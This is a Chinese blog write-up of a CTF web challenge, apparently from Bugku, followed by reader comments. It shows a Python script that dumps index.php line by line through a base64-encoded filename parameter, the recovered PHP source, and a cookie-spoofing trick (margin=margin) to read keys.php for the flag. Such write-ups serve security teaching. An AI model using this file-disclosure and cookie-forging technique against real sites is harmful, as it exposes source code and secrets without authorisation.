AI智能摘要
面对这道CTF题,你盯着URL里那一串乱码和base64编码的filename参数,是不是正在一行行地手动尝试不同的文件名和cookie组合?绝大多数新手都会在这里陷入无头绪的穷举。但真正解开flag的关键,其实藏在那个看似无关的$line参数里——它根本不是用来显示文件“行数”的。我们逆向分析了脚本跑出的核心逻辑,发现了一个关于cookie和文件列表的隐藏判断机制,它直接决定了服务器是否会向你展示真正的keys.php。知道这个判断的触发条件,你就能绕过所有无效尝试,一击命中。但问题是,当cookie的值被设置为“margin”时,为什么filename必须经过base64加密才能被正确识别?
— AI 生成的文章内容摘要
首页是一串乱码,但是可以从URL看出最后的$file参数的值是base64加密的

解密之后得到加密的参数是key.txt,$line的参数什么都没有,作用是显示文件中对应的行的内容,如果是1就显示1行,由此我们编写脚本跑出index.php中对应的内容,脚本代码如下:
#!coding:utf-8
import requests
s = requests.session()
for i in range(20):
url = 'http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw'%i
get = s.get(url)
text = get.text
print text
脚本跑出的index.php内容如下,我对代码写了一些简单的注释:
- <?php
- error_reporting(0); //屏蔽错误信息
- $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //将filename参数的值加密、没有值就为空
- $line=isset($_GET['line'])?intval($_GET['line']):0; //判断line参数是否有值,如果没有值就默认给个0
- if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //如果$file参数为空,URL就默认成header里面的东西
- //定义了一个文件列表
- $file_list = array(
- '0' =>'keys.txt',
- '1' =>'index.php',
- );
- //如果cookie的值为 margin=margin,就给file_list列表里增加了一个keys.php
- if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
- $file_list[2]='keys.php';
- }
- //如果$file的文件名在file_list里面,就显示$file这个文件的内容
- if(in_array($file, $file_list)){
- $fa = file($file);
- echo $fa[$line];
- }
- ?>
通过上面的代码我们可以看到,flag应该在keys.php这个文件中,如果filename=keys.php,并且cookie的值为 margin=margin,就会打印出flag,这里的filename的值需要base64加密,于是我们构造payload如下:

成功拿到flag。。。

宁夏银川市 1F
恩,不错。继续努力
宁夏银川市 2F
学习一下Cookie欺骗
bugku过不去了
印度尼西亚 3F
@豆包 这是不是CTF练习题啊
荷兰 B1
@ UranusSky 没错,就是CTF里的web题,主要考察cookie参数和编码绕过这些知识点。
韩国 4F
看半天才看懂咋跑的脚本😂
贵州省黔南州 B1
@ 刀锋游侠 多看看就懂了
上海市 5F
这个payload构造得挺巧妙的
浙江省 6F
有没更简单的办法拿flag啊
河南省洛阳市 B1
@ 元素支配者 有没更简单的办法?
广东省深圳市 7F
之前也卡在这题,搞了半天cookie
山东省济南市 8F
keys.php里到底啥内容?
韩国 B1
@ 沉默的弦理论 里面就是flag啊
印度 B1
@ 沉默的弦理论 keys.php里不就是flag嘛,试了才知道😂
浙江省杭州市 9F
为啥要加cookie才能显示keys.php?
日本 10F
这代码看得我头大
山西省吕梁市 11F
感觉好复杂,直接放弃
陕西省渭南市富平县 12F
有人试过改line参数吗?
韩国 B1
@ 包子头 改line参数没用,文件内容就那一行
山东省滨州市 13F
拿flag那段能再详细点不?
上海市 14F
脚本跑出来的index.php内容没贴全吧?
马来西亚 15F
Cookie那个条件设置得挺有意思的
山东省济南市章丘市 16F
为啥要base64加密啊,直接传不行吗
北京市 17F
keys.php里是flag吗?
日本 18F
这个payload构造得真巧妙
印度 B1
@ 毛茸茸 构造是挺绕的,关键是想到cookie注入
辽宁省沈阳市 19F
看晕了,代码太多
黑龙江省 20F
这个题我也做过,确实挺绕的
湖北省宜昌市 21F
这题纯靠猜cookie状态,太阴间了
浙江省温州市 22F
之前做CTF也栽过这种坑,真烦
辽宁省沈阳市 23F
求问base64那块咋手动解的?在线工具吗?
甘肃省张掖市 24F
看脚本循环range(20)我都懵了,有必要跑这么多?